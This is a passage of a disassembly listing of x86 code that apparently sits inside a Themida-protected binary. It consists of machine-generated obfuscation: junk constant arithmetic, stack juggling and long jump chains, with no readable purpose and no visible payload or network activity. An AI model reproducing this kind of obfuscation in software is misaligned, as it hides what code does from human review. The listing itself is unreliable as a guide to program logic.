		add	word ptr [esp+36h+var_38+2], ax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_571141:				; CODE XREF: sub_56207C+96F9j
		add	ebx, 4C9451E1h
		jmp	loc_55E868
; ---------------------------------------------------------------------------


loc_57114C:				; CODE XREF: sub_56207C+871Dj
		pop	edx
		add	eax, 4
		xchg	eax, [esp+1Ah+var_1C+2]
		pop	esp
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], ebp
		jmp	loc_56D7B1
; ---------------------------------------------------------------------------


loc_571164:				; DATA XREF: Themida_:0055E214o
		lodsd
		push	ebx
		mov	ebx, 1C4214C7h
		sub	eax, ebx
		jmp	loc_572747
; ---------------------------------------------------------------------------


loc_571172:				; CODE XREF: sub_56207C+9EB5j
		push	ecx
		push	48901492h
		pop	ecx
		mov	eax, ecx
		mov	ecx, [esp+3Ch+var_3C]
		push	edi
		mov	edi, esp
		jmp	loc_55E6AD
; ---------------------------------------------------------------------------


loc_571186:				; CODE XREF: sub_56207C+E840j
		add	ecx, 0FF5B1B5Ah
		xor	eax, ecx
		push	[esp+2Ch+var_2C]
		pop	ecx
		push	27E9h
		jmp	loc_56E5C6
; ---------------------------------------------------------------------------


loc_57119C:				; CODE XREF: sub_56207C-2F0Cj
		add	edx, ecx
		pop	ecx
		xor	edx, [esp+0Eh+var_10+2]
		xor	[esp+0Eh+var_10+2], edx
		xor	edx, [esp+0Eh+var_10+2]
		pop	esp
		push	[esp+0Ah+var_C+2]
		pop	eax
		jmp	loc_56D53E
; ---------------------------------------------------------------------------


loc_5711B2:				; CODE XREF: sub_56207C-2F1Dj
		mov	[esp+12h+var_14+2], esp
		add	[esp+12h+var_14+2], 4
		push	[esp+12h+var_14+2]
		pop	edx
		jmp	loc_565DD2
; ---------------------------------------------------------------------------


loc_5711C2:				; CODE XREF: sub_56207C+11317j
		dec	eax
		sub	esp, 4
		jmp	loc_5671D2
; ---------------------------------------------------------------------------


loc_5711CB:				; CODE XREF: sub_56207C+F00Fj
		dec	edx
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], edi
		push	41580456h
		pop	edi
		shl	edi, 8
		inc	edi
		jmp	loc_568A93
; ---------------------------------------------------------------------------


loc_5711E4:				; CODE XREF: sub_56207C+67C2j
		add	ebx, edx
		mov	edx, [esp+46h+var_48+2]
		jmp	loc_56B939
; ---------------------------------------------------------------------------


loc_5711EE:				; CODE XREF: sub_56207C+208Cj
		mov	ecx, [esp+2Eh+var_30+2]
		add	esp, 4
		jmp	loc_56629E
; ---------------------------------------------------------------------------


loc_5711F9:				; CODE XREF: sub_56207C+982Aj
		mov	ebx, [esp+28h+var_28]
		add	esp, 4
		jmp	loc_567500
; ---------------------------------------------------------------------------


loc_571207:				; CODE XREF: sub_56207C+31AAj
		shr	ecx, 6
		shl	ecx, 6
		add	ecx, 67F517B0h
		shr	ecx, 7
		dec	ecx
		xor	ecx, 14370D0h
		add	esi, ecx
		jmp	loc_569706
; ---------------------------------------------------------------------------


loc_571224:				; CODE XREF: sub_56207C+9C29j
		mov	esi, 0C6718A5h
		jmp	loc_56257A
; ---------------------------------------------------------------------------


loc_57122E:				; CODE XREF: sub_56207C+3836j
		mov	[ecx], bh
		pop	ecx
		pop	ebx
		push	[esp+3Ch+var_3C]
		pop	ecx
		add	esp, 4
		mov	edx, [esp+38h+var_38]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	[esp+40h+var_3C]
		pop	edx
		pop	[esp+40h+var_40]
		jmp	loc_565EBC
; ---------------------------------------------------------------------------


loc_57125C:				; CODE XREF: sub_56207C+E160j
		pop	ecx
		push	7A21h
		mov	[esp+0Ah+var_C+2], ecx
		jmp	loc_5647AE
; ---------------------------------------------------------------------------


loc_57126A:				; CODE XREF: sub_56207C+7C1Dj
		sub	ecx, esi
		mov	esi, [esp+28h+var_28]
		add	esp, 4
		sub	ebx, 4BB917C0h
		add	ebx, ecx
		add	ebx, 4BB917C0h
		jmp	loc_56914A
; ---------------------------------------------------------------------------


loc_571285:				; CODE XREF: sub_56207C+3DEFj
		sub	ecx, eax
		jmp	loc_567C2D
; ---------------------------------------------------------------------------


loc_57128C:				; CODE XREF: sub_56207C-1EB9j
		push	[esp+1Eh+var_1C+2]
		pop	ebx
		pop	[esp+1Eh+var_20+2]
		jmp	loc_567AAA
; ---------------------------------------------------------------------------


loc_571299:				; DATA XREF: Themida_:0055E2E0o
		push	76EAh
		mov	[esp+1Eh+var_20+2], edx
		mov	edx, 386C00BDh
		push	ebx
		mov	ebx, 50E97761h
		not	ebx
		shl	ebx, 2
		or	ebx, 2F31318h
		push	783Ch
		mov	[esp+26h+var_28+2], edi
		mov	edi, 3D597916h
		add	ebx, 271E71A5h
		sub	ebx, edi
		push	edx
		mov	edx, 271E71A5h
		sub	ebx, edx
		pop	edx
		pop	edi
		jmp	loc_55E594
; ---------------------------------------------------------------------------


loc_5712DB:				; CODE XREF: sub_56207C+2C1Cj
		add	esi, edx
		add	esi, 6EDE1C09h
		pop	edx
		xchg	esi, [esp+10h+var_10]
		pop	esp
		push	4771h
		mov	[esp+10h+var_10], edx
		jmp	sub_55F19C
; ---------------------------------------------------------------------------


loc_5712F5:				; CODE XREF: sub_56207C+8D42j
		add	ecx, edx
		sub	ecx, 25A38A7h
		jmp	loc_561A98
; ---------------------------------------------------------------------------


loc_571302:				; CODE XREF: sub_56207C+DDBCj
		add	esp, 4
		push	ebp
		jmp	loc_56C44C
; ---------------------------------------------------------------------------


loc_57130B:				; CODE XREF: sub_56207C+8B28j
		mov	ebp, 9217D1Bh
		neg	ebp
		neg	ebp
		xor	ebp, 0BAE1F752h
		add	esi, ebp
		pop	ebp
		add	ebp, 26413385h
		sub	ebp, esi
		sub	ebp, 26413385h
		pop	esi
		jmp	loc_570171
; ---------------------------------------------------------------------------


loc_571331:				; CODE XREF: sub_56207C+6618j
		xor	edx, 1A80479Dh
		jmp	loc_5714BE
; ---------------------------------------------------------------------------


loc_57133C:				; CODE XREF: sub_56207C+F9A1j
		mov	edx, 2DF40D39h
		push	edx
		not	[esp+48h+var_48]
		jmp	loc_56308C
; ---------------------------------------------------------------------------


loc_57134A:				; CODE XREF: sub_56207C-1D7Fj
		push	edx
		mov	edx, 266C742Dh
		mov	eax, edx
		pop	edx
		mov	ebx, 643D3CABh
		jmp	loc_56E8EF
; ---------------------------------------------------------------------------


loc_57135D:				; CODE XREF: sub_56207C+12CCj
		mov	cx, word ptr [esp+30h+var_30]
		add	esp, 2
		not	al
		jmp	loc_561C23
; ---------------------------------------------------------------------------


loc_57136E:				; CODE XREF: sub_56207C+71B5j
		add	eax, 4
		push	ebp
		mov	ebp, 4A973939h
		xor	ebp, 504363Fh
		push	edi
		mov	edi, 2B495074h
		neg	edi
		not	edi
		add	edi, 11A50E36h
		xor	ebp, edi
		jmp	loc_56E8E9
; ---------------------------------------------------------------------------


loc_571396:				; CODE XREF: sub_56207C+ED78j
		push	ebp
		mov	ebp, 3FA8489Fh
		add	[esp+0Ah+var_8+2], ebp
		jmp	loc_56B64C
; ---------------------------------------------------------------------------


loc_5713A5:				; CODE XREF: sub_56207C-259Aj
		pop	edx
		sub	edx, 7EA22A38h
		jmp	loc_5705FC
; ---------------------------------------------------------------------------


loc_5713B1:				; CODE XREF: sub_56207C+6174j
		add	cl, 9Bh
		jmp	loc_56FECC
; ---------------------------------------------------------------------------


loc_5713B9:				; CODE XREF: sub_56207C-2B2Ej
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_5713BE:				; CODE XREF: sub_56207C+C7C4j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+1Eh+var_20+2]
		pop	esp
		add	edx, 4
		push	245h
		mov	[esp+1Eh+var_20+2], ecx
		push	edx
		mov	edx, 4
		mov	ecx, edx
		mov	edx, [esp+22h+var_24+2]
		add	esp, 4
		sub	edx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], edx
		push	[esp+1Eh+var_1C+2]
		push	[esp+22h+var_24+2]
		mov	edx, [esp+26h+var_28+2]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_570DE7
; ---------------------------------------------------------------------------


loc_571413:				; CODE XREF: sub_56207C+1C60j
		sub	ebp, 6B471D24h
		shl	ebp, 1
		sub	ebp, 28A4604Ah
		jmp	loc_5686E3
; ---------------------------------------------------------------------------


loc_571426:				; CODE XREF: sub_56207C-5A2j
		push	1D4450D2h
		pop	eax
		xor	eax, 2E6C4B80h
		mov	ebp, eax
		pop	eax
		jmp	loc_5728B8
; ---------------------------------------------------------------------------


loc_571439:				; CODE XREF: sub_56207C+BCB7j
		add	ecx, 70C6B06Ah
		jmp	loc_571A0E
; ---------------------------------------------------------------------------


loc_571444:				; CODE XREF: sub_56207C+DE4Bj
		sub	ebx, 0DC1F8072h
		push	ebx
		jmp	loc_572F92
; ---------------------------------------------------------------------------


loc_571450:				; CODE XREF: sub_56207C+1B7Dj
		sub	esp, 4
		mov	[esp+38h+var_38], eax
		jmp	loc_56E222
; ---------------------------------------------------------------------------


loc_57145E:				; CODE XREF: sub_56207C-3718j
		shl	edx, 8
		xor	edx, 60262FACh
		add	edi, edx
		pop	edx
		inc	edi
		sub	edi, 0B323EC4Bh
		push	eax
		mov	eax, 77B83343h
		add	[esp+1Ch+var_10], eax
		jmp	loc_572026
; ---------------------------------------------------------------------------
dword_571480	dd 240C8B66h, 4EC8156h,	0E9000000h, 0FFFEEA58h
					; DATA XREF: Themida_:0055E1D8o
; ---------------------------------------------------------------------------


loc_571490:				; CODE XREF: sub_56207C+A758j
		and	ecx, esi
		push	[esp+38h+var_38]
		pop	esi
		sub	esp, 4
		mov	[esp+3Ch+var_3C], ebx
		jmp	loc_569D04
; ---------------------------------------------------------------------------


loc_5714A1:				; CODE XREF: sub_56207C+3C18j
		shl	ecx, 5
		push	edx
		mov	edx, 5FA777E9h
		jmp	loc_55F3B6
; ---------------------------------------------------------------------------


loc_5714AF:				; CODE XREF: sub_56207C-1DA3j
		not	eax
		jmp	loc_564003
; ---------------------------------------------------------------------------


loc_5714B6:				; CODE XREF: sub_56207C+955Cj
		mov	[esp+0Eh+var_10+2], ecx
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_5714BE:				; CODE XREF: sub_56207C+F2BBj
		sub	eax, edx
		pop	edx
		sub	eax, 4E1F32C7h
		add	eax, edx
		add	eax, 4E1F32C7h
		push	edx
		mov	edx, 2948716Ah
		add	eax, 78BA0273h
		add	eax, edx
		sub	eax, 78BA0273h
		pop	edx
		pop	edx
		push	4A26h
		mov	[esp+40h+var_40], ecx
		mov	ecx, 3A9B3329h
		sub	eax, ecx
		mov	ecx, [esp+40h+var_40]
		push	eax
		jmp	loc_568184
; ---------------------------------------------------------------------------


loc_5714F9:				; CODE XREF: sub_56207C-162Fj
		push	[esp+1Eh+var_20+2]
		push	[esp+22h+var_24+2]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+26h+var_28+2]
		pop	esp
		sub	esp, 4
		mov	[esp+26h+var_28+2], esi
		jmp	loc_5724B6
; ---------------------------------------------------------------------------


loc_57151E:				; CODE XREF: sub_56207C+159j
		pop	esi
		add	esi, 52725C46h
		jmp	loc_563F35
; ---------------------------------------------------------------------------


loc_57152A:				; CODE XREF: sub_56207C+DEC4j
		pop	eax
		pop	ebp
		xor	edx, [esp+3Eh+var_40+2]
		xor	[esp+3Eh+var_40+2], edx
		xor	edx, [esp+3Eh+var_40+2]
		jmp	loc_56EB57
; ---------------------------------------------------------------------------


loc_57153A:				; CODE XREF: sub_56207C+464Bj
		mov	ebx, [esp+38h+var_38]
		jmp	loc_56C2ED
; ---------------------------------------------------------------------------


loc_571542:				; CODE XREF: sub_56207C+3A6Aj
		mov	edi, 1302B77h
		sub	edi, 43586A68h
		xor	edi, 5C85090Dh
		add	edi, 7597627h
		add	edi, 0BB5D2CD5h
		sub	ecx, 7EAF59D7h
		sub	ecx, edi
		add	ecx, 7EAF59D7h
		jmp	loc_55F607
; ---------------------------------------------------------------------------


loc_571572:				; CODE XREF: sub_56207C+4850j
		not	esi
		xchg	esi, edi
		shl	edi, 2
		neg	edi
		jmp	loc_569E54
; ---------------------------------------------------------------------------


loc_571580:				; CODE XREF: sub_56207C+32FCj
		sub	ebx, 14435CACh
		add	ebx, 2FAE36B7h
		add	ebx, esi
		sub	ebx, 2FAE36B7h
		push	ecx
		mov	ecx, 14435CACh
		add	ebx, ecx
		pop	ecx
		jmp	loc_560536
; ---------------------------------------------------------------------------


loc_5715A2:				; CODE XREF: sub_56207C+E458j
		mov	ebx, 1123485h
		jmp	loc_5725E0
; ---------------------------------------------------------------------------


loc_5715AC:				; CODE XREF: sub_56207C+B61Dj
		mov	eax, 4
		jmp	loc_569F02
; ---------------------------------------------------------------------------


loc_5715B6:				; CODE XREF: sub_56207C+150Fj
		mov	eax, 57846B94h
		xchg	eax, esi
		not	esi
		xchg	eax, esi
		add	eax, 261959FAh
		add	eax, 67CF0D33h
		add	eax, 0C99C046Ch
		jmp	loc_56BD40
; ---------------------------------------------------------------------------


loc_5715D3:				; CODE XREF: sub_56207C+BE83j
		shl	ah, 3
		add	ah, 0D1h
		mov	dh, ah
		pop	eax
		push	ebx
		mov	bh, 0D0h
		or	bh, 0DBh
		jmp	loc_56E389
; ---------------------------------------------------------------------------


loc_5715E7:				; CODE XREF: sub_56207C+D3D1j
		pop	[esp+38h+var_38]
		pop	esp
		mov	[esp+30h+var_30], edx
		mov	edx, 35883D98h
		shl	edx, 3
		push	ebp
		mov	ebp, 195E7D21h
		add	ebp, 6147176Ch
		neg	ebp
		add	ebp, 8A37C7BDh
		xor	edx, ebp
		push	[esp+34h+var_34]
		jmp	loc_569139
; ---------------------------------------------------------------------------


loc_571614:				; CODE XREF: sub_56207C-E34j
		push	[esp+10h+var_10]
		pop	eax
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		push	esi
		push	ecx
		mov	ecx, 79B64416h
		jmp	loc_560025
; ---------------------------------------------------------------------------


loc_57163C:				; CODE XREF: sub_56207C-2A08j
		or	ebp, 127E6EE3h
		shr	ebp, 2
		or	ebp, 24647B51h
		jmp	loc_56E3AA
; ---------------------------------------------------------------------------


loc_571650:				; CODE XREF: sub_56207C+A181j
		push	eax
		mov	eax, 0ACC6DA38h
		add	ecx, eax
		jmp	loc_56C5CA
; ---------------------------------------------------------------------------


loc_57165D:				; CODE XREF: sub_56207C+7C8j
		mov	esi, 4
		add	edx, esi
		jmp	loc_56856F
; ---------------------------------------------------------------------------


loc_571669:				; CODE XREF: sub_56207C+B468j
		add	esp, 4
		and	ecx, edx
		pop	edx
		jmp	loc_56019F
; ---------------------------------------------------------------------------


loc_571677:				; CODE XREF: sub_56207C+1088Aj
		mov	ebp, 7BF804A7h
		add	ebp, 0FFFFFFFFh
		not	ebp
		xor	ebp, 27E806B3h
		not	ebp
		inc	ebp
		jmp	loc_56640E
; ---------------------------------------------------------------------------


loc_57168F:				; CODE XREF: sub_56207C+9B4Dj
		pop	esp
		push	ebp
		mov	ebp, 4
		sub	esi, 1974341h
		add	esi, ebp
		jmp	loc_56F826
; ---------------------------------------------------------------------------


loc_5716A3:				; CODE XREF: sub_56207C+E775j
		push	[esp+38h+var_34]
		jmp	loc_56656C
; ---------------------------------------------------------------------------


loc_5716AC:				; CODE XREF: sub_56207C+8557j
		pop	esi
		xor	edx, 4CB4327Eh
		push	edi
		mov	edi, 1A69408Ch
		jmp	loc_5676D1
; ---------------------------------------------------------------------------


loc_5716BE:				; DATA XREF: Themida_:0055E1A8o
		mov	cx, word ptr [esp+20h+var_20]
		sub	esp, 4
		mov	[esp+24h+var_24], eax
		push	esp
		pop	eax
		sub	esp, 4
		mov	[esp+28h+var_28], ecx
		mov	ecx, 4
		add	eax, ecx
		mov	ecx, [esp+28h+var_28]
		push	5041h
		mov	[esp+2Ch+var_2C], esi
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp+30h+var_30], edx
		mov	edx, 713F4365h
		and	edx, 2F88626Fh
		sub	edx, 21084261h
		jmp	loc_56FA66
; ---------------------------------------------------------------------------


loc_571709:				; CODE XREF: sub_56207C+706Cj
		mov	esp, [esp+12h+var_14+2]
		mov	[esp+12h+var_14+2], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_56CF80
; ---------------------------------------------------------------------------


loc_57171F:				; CODE XREF: sub_56207C+DC90j
		mov	[esp+3Ah+var_3C+2], edi
		push	ebp
		mov	ebp, 341A451Dh
		shl	ebp, 7
		jmp	loc_566F80
; ---------------------------------------------------------------------------


loc_571730:				; CODE XREF: sub_56207C+C195j
		pop	edi
		add	edi, 4
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xor	edi, [esp-4+arg_0]
		xor	[esp-4+arg_0], edi
		xor	edi, [esp-4+arg_0]
		pop	esp
		xor	ecx, [esp-8+arg_4]
		xor	[esp-8+arg_4], ecx
		jmp	loc_568540
; ---------------------------------------------------------------------------


loc_571755:				; CODE XREF: sub_56207C-2E02j
		push	edi
		mov	edi, esp
		jmp	loc_566C02
; ---------------------------------------------------------------------------


loc_57175D:				; CODE XREF: sub_56207C+12F8j
		push	ebx
		jmp	loc_565894
; ---------------------------------------------------------------------------


loc_571763:				; CODE XREF: sub_56207C+3967j
		xor	[esp+32h+var_34+2], ebp
		xor	ebp, [esp+32h+var_34+2]
		mov	esp, [esp+32h+var_34+2]
		mov	cx, word ptr [esp+32h+var_34+2]
		push	2ACBh
		mov	[esp+36h+var_38+2], edx
		jmp	loc_56D2BA
; ---------------------------------------------------------------------------


loc_57177D:				; CODE XREF: sub_56207C+60D1j
		xchg	ebp, ebx
		not	ebp
		xchg	ebp, ebx
		xchg	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		xor	ebx, eax
		push	ebp
		mov	ebp, esp
		jmp	loc_56779A
; ---------------------------------------------------------------------------


loc_571792:				; CODE XREF: sub_56207C+3444j
		xor	edi, ebp
		jmp	loc_560592
; ---------------------------------------------------------------------------


loc_571799:				; CODE XREF: sub_56207C-205Cj
		pop	esp
		mov	[esp+28h+var_28], ecx
		push	edi
		jmp	loc_565BF2
; ---------------------------------------------------------------------------


loc_5717A3:				; DATA XREF: Themida_:0055E2E4o
		mov	cx, word ptr [esp+2Ch+var_2C]
		push	ecx
		jmp	loc_560AB3
; ---------------------------------------------------------------------------


loc_5717AD:				; CODE XREF: sub_56207C+37D6j
		push	524Dh
		mov	[esp+42h+var_44+2], ebx
		push	ecx
		mov	ecx, 338B648Dh
		mov	ebx, 9E86DF3Fh
		add	ebx, 51FE6FF4h
		sub	ebx, ecx
		push	edi
		jmp	loc_5689DD
; ---------------------------------------------------------------------------


loc_5717CE:				; CODE XREF: sub_56207C+A875j
		mov	eax, esi
		jmp	loc_564695
; ---------------------------------------------------------------------------


loc_5717D5:				; CODE XREF: sub_56207C+7E25j
		shl	ecx, 4
		xor	ecx, 76FC104Bh
		add	edx, ecx
		pop	ecx
		jmp	loc_5677CF
; ---------------------------------------------------------------------------


loc_5717E6:				; DATA XREF: Themida_:0055E224o
		pop	dword ptr [edi+40h]
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_5717EE:				; CODE XREF: sub_56207C-876j
		add	eax, 4
		xchg	eax, [esp+26h+var_28+2]
		pop	esp
		add	ebp, 4
		jmp	loc_573202
; ---------------------------------------------------------------------------


loc_571802:				; CODE XREF: sub_56207C+25E5j
		sub	edi, ecx
		pop	ecx
		push	esi
		mov	esi, 51C33220h
		add	edi, esi
		mov	esi, [esp+1Ah+var_1C+2]
		add	esp, 4
		and	edx, edi
		mov	edi, [esp+16h+var_18+2]
		push	ebx
		jmp	loc_569283
; ---------------------------------------------------------------------------


loc_57181E:				; CODE XREF: sub_56207C+7496j
		push	ecx
		push	esi
		mov	esi, 2ECB35A8h
		jmp	loc_56BD62
; ---------------------------------------------------------------------------


loc_57182A:				; CODE XREF: sub_56207C-3544j
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_57182F:				; CODE XREF: sub_56207C+28C8j
		pop	ebx
		xchg	esi, [esp+28h+var_28]
		pop	esp
		push	7E61h
		mov	[esp+28h+var_28], ecx
		push	edx
		mov	dh, bh
		jmp	loc_56E1C6
; ---------------------------------------------------------------------------


loc_571844:				; CODE XREF: sub_56207C+E721j
		add	esp, 4
		not	ecx
		push	esi
		push	edx
		push	7FBB4F99h
		pop	edx
		jmp	loc_5697C6
; ---------------------------------------------------------------------------


loc_571859:				; CODE XREF: sub_56207C+B794j
		mov	ebp, 28B207C4h
		jmp	loc_56A2A1
; ---------------------------------------------------------------------------


loc_571863:				; CODE XREF: sub_56207C+623Dj
		pop	esp
		add	esp, 4
		jmp	loc_56FA1C
; ---------------------------------------------------------------------------


loc_57186C:				; CODE XREF: sub_56207C-3C6Aj
		mov	di, 6236h
		xor	di, ax
		pop	eax
		sub	word ptr [esp+8+var_8+2], 331Bh
		sub	word ptr [esp+8+var_8+2], 39D2h
		jmp	loc_565115
; ---------------------------------------------------------------------------


loc_571887:				; CODE XREF: sub_56207C+599Fj
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_56A034
; ---------------------------------------------------------------------------


loc_571895:				; CODE XREF: sub_56207C+D82Cj
		add	eax, ebp
		add	eax, 45F02BF9h
		add	eax, 6C457ABAh
		push	ebp
		mov	ebp, 763D0CD2h
		sub	ebp, 1EEE5770h
		dec	ebp
		sub	ebp, 163EA900h
		jmp	loc_56C684
; ---------------------------------------------------------------------------


loc_5718B9:				; CODE XREF: sub_56207C+783Ej
		add	eax, 0DA9EF595h
		sub	esi, eax
		pop	eax
		jmp	loc_567DEC
; ---------------------------------------------------------------------------


loc_5718C6:				; CODE XREF: sub_56207C+2010j
		pop	esi
		jmp	loc_572E07
; ---------------------------------------------------------------------------


loc_5718CC:				; CODE XREF: sub_56207C+240Dj
		shr	ebp, 5
		sub	ebp, 0D19B9ACBh
		add	ecx, ebp
		pop	ebp
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_570C82
		push	dword ptr [edi+1Ch]
		push	eax
		push	edi
		push	5F3E4529h
		pop	edi
		add	edi, 0AB0BF3FFh
		jmp	loc_572A6B
; ---------------------------------------------------------------------------


loc_5718F9:				; CODE XREF: sub_56207C+61j
		add	esi, ebp
		sub	esi, 52AF5AA8h
		jmp	loc_56A132
; ---------------------------------------------------------------------------


loc_571906:				; CODE XREF: sub_56207C+10EFCj
		mov	eax, 31D54B89h
		jmp	loc_56892D
; ---------------------------------------------------------------------------


loc_571910:				; CODE XREF: sub_56207C+4740j
		pop	ebx
		mov	esi, [esp+1Ch+var_1C]
		jmp	loc_56D6DE
; ---------------------------------------------------------------------------


loc_571919:				; CODE XREF: sub_56207C+BF6Ej
		mov	ecx, esp
		push	7167h
		mov	[esp+46h+var_48+2], esi
		mov	esi, 239C6EACh
		jmp	loc_56CC6B
; ---------------------------------------------------------------------------


loc_57192D:				; CODE XREF: sub_56207C+A053j
		pop	eax
		jmp	loc_56E686
; ---------------------------------------------------------------------------


loc_571933:				; CODE XREF: sub_56207C+2481j
		mov	edi, 156132h
		mov	edx, edi
		jmp	loc_561B59
; ---------------------------------------------------------------------------


loc_57193F:				; CODE XREF: sub_56207C+1F57j
		pop	ebx
		pop	ecx
		push	esi
		mov	esi, 505834h
		add	esi, 33C87115h
		shr	esi, 1
		shl	esi, 7
		xor	esi, 80D714Ch
		jmp	loc_5677A5
; ---------------------------------------------------------------------------


loc_57195D:				; CODE XREF: sub_56207C+2705j
		mov	[esp+12h+var_14+2], esi
		mov	esi, 0E5A452Ch
		push	esi
		push	ebp
		pop	esi
		mov	ebp, [esp+16h+var_18+2]
		add	esp, 4
		neg	ebp
		xchg	ebp, esi
		jmp	loc_56E263
; ---------------------------------------------------------------------------


loc_57197A:				; CODE XREF: sub_56207C+454Ej
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_563AC0
; ---------------------------------------------------------------------------


loc_571987:				; CODE XREF: sub_56207C-2E6Dj
		mov	eax, 42AC7814h
		or	eax, 3B5A7BE4h
		push	edi
		mov	edi, 75F276B8h
		neg	edi
		neg	edi
		add	edi, 0C8F8ECB5h
		and	eax, edi
		pop	edi
		xor	eax, 74A018F0h
		jmp	loc_561866
; ---------------------------------------------------------------------------


loc_5719AE:				; CODE XREF: sub_56207C+63BEj
		push	ebx
		mov	bl, 16h
		inc	bl
		add	bl, 17h
		add	bl, 98h
		xor	dl, bl
		jmp	loc_5611FC
; ---------------------------------------------------------------------------


loc_5719C0:				; CODE XREF: sub_56207C+30A8j
		add	ecx, offset dword_57FD18
		push	ebx
		mov	ebx, esp
		jmp	loc_55EE2C
; ---------------------------------------------------------------------------


loc_5719CE:				; CODE XREF: sub_56207C+11FDj
		add	ebp, eax
		jmp	loc_567ABC
; ---------------------------------------------------------------------------


loc_5719D5:				; CODE XREF: sub_56207C+9C8Aj
		mov	[esp+0], ebp
		jmp	loc_567B77
; ---------------------------------------------------------------------------


loc_5719DD:				; CODE XREF: sub_56207C+60DFj
		add	[esp+28h+var_28], 4
		pop	[esp+28h+var_28]
		sub	esp, 4
		mov	[esp+28h+var_28], ecx
		mov	ecx, 4
		add	[esp+28h+var_24], ecx
		pop	ecx
		pop	ebp
		push	edi
		mov	edi, 6023258Dh
		add	edi, 242B7132h
		shr	edi, 6
		dec	edi
		push	edx
		jmp	loc_5639BE
; ---------------------------------------------------------------------------


loc_571A0E:				; CODE XREF: sub_56207C+F3C3j
		push	eax
		jmp	loc_563580
; ---------------------------------------------------------------------------


loc_571A14:				; CODE XREF: sub_57358E+6j
		pop	edi
		push	6347h
		mov	[esp+34h+var_34], edx
		jmp	loc_57133C
; ---------------------------------------------------------------------------


loc_571A22:				; CODE XREF: sub_56207C+63A8j
		or	ah, 4Bh
		shl	ah, 6
		add	ah, 0E9h
		shr	ah, 1
		push	edx
		mov	dl, 0Fh
		and	dl, 23h
		push	bx
		jmp	loc_56085D
; ---------------------------------------------------------------------------


loc_571A3A:				; CODE XREF: sub_56207C+B029j
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5705B7
; ---------------------------------------------------------------------------


loc_571A5C:				; CODE XREF: sub_56207C+562j
		mov	esp, [esp+32h+var_34+2]
		btc	word ptr [esp+32h+var_34+2], ax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_571A6A:				; DATA XREF: Themida_:0055E0F4o
		lodsb
		push	edx
		mov	dl, 0C1h
		not	dl
		add	dl, 1
		push	cx
		push	ebx
		jmp	loc_5705AF
; ---------------------------------------------------------------------------


loc_571A7B:				; CODE XREF: sub_56207C+1DCDj
		sub	esi, 5C175AA2h
		pop	ecx
		add	esi, 4
		jmp	loc_562F03
; ---------------------------------------------------------------------------


loc_571A8A:				; CODE XREF: sub_56207C+110CFj
		add	esp, 4
		push	ecx
		mov	ecx, 255A6049h
		jmp	loc_55FE58
; ---------------------------------------------------------------------------


loc_571A98:				; CODE XREF: sub_56207C+9769j
		push	edi
		mov	edi, 4
		jmp	loc_561743
; ---------------------------------------------------------------------------


loc_571AA3:				; CODE XREF: sub_56207C-17BAj
		mov	ebp, [esp+34h+var_34]
		add	esp, 4
		add	esp, 4
		xchg	ebx, [esp+2Ch+var_2C]
		mov	esp, [esp+2Ch+var_2C]
		shr	eax, 0Bh
		xor	ecx, eax
		push	0A3h
		mov	[esp+30h+var_30], esi
		push	ebp
		mov	ebp, ebx
		mov	esi, ebp
		mov	ebp, [esp+34h+var_34]
		add	esp, 4
		push	edi
		mov	edi, esi
		mov	eax, edi
		pop	edi
		push	[esp+30h+var_30]
		push	[esp+34h+var_34]
		push	[esp+38h+var_38]
		pop	esi
		sub	esp, 4
		jmp	loc_56B14D
; ---------------------------------------------------------------------------


loc_571AE5:				; CODE XREF: sub_56207C+7447j
		push	cx
		pushf
		jmp	loc_56609E
; ---------------------------------------------------------------------------


loc_571AED:				; CODE XREF: sub_56207C+74A3j
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], esi
		mov	esi, 7DD52DFBh
		shr	esi, 6
		or	esi, 3E280999h
		or	esi, 5E696DBAh
		shr	esi, 5
		add	esi, 5CB4FC9h
		xor	esi, 32732C45h
		add	ebx, esi
		pop	esi
		add	ebx, eax
		push	ecx
		mov	ecx, 4FCA391Dh
		jmp	loc_563AE4
; ---------------------------------------------------------------------------


loc_571B29:				; CODE XREF: sub_56207C+C550j
		push	esp
		pop	[esp+1Ah+var_1C+2]
		push	esi
		mov	esi, 4
		add	[esp+1Ah+var_18+2], esi
		pop	esi
		pop	ebp
		add	ebp, 4
		push	edi
		push	ecx
		mov	ecx, 4
		mov	edi, ecx
		pop	ecx
		sub	ebp, 0ECA2E12h
		jmp	loc_55FE2C
; ---------------------------------------------------------------------------


loc_571B54:				; CODE XREF: sub_56207C+97C4j
		push	6A51h
		mov	[esp+16h+var_18+2], ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		push	eax
		mov	eax, 51C75EEh
		jmp	loc_56441E
; ---------------------------------------------------------------------------


loc_571B6F:				; CODE XREF: sub_56207C+102FBj
		sub	ebp, 7B001254h
		jmp	loc_56D075
; ---------------------------------------------------------------------------


loc_571B7A:				; CODE XREF: sub_56207C+4C0Dj
		mov	[esp+26h+var_28+2], eax
		mov	eax, 9C63A4E8h
		sub	edi, eax
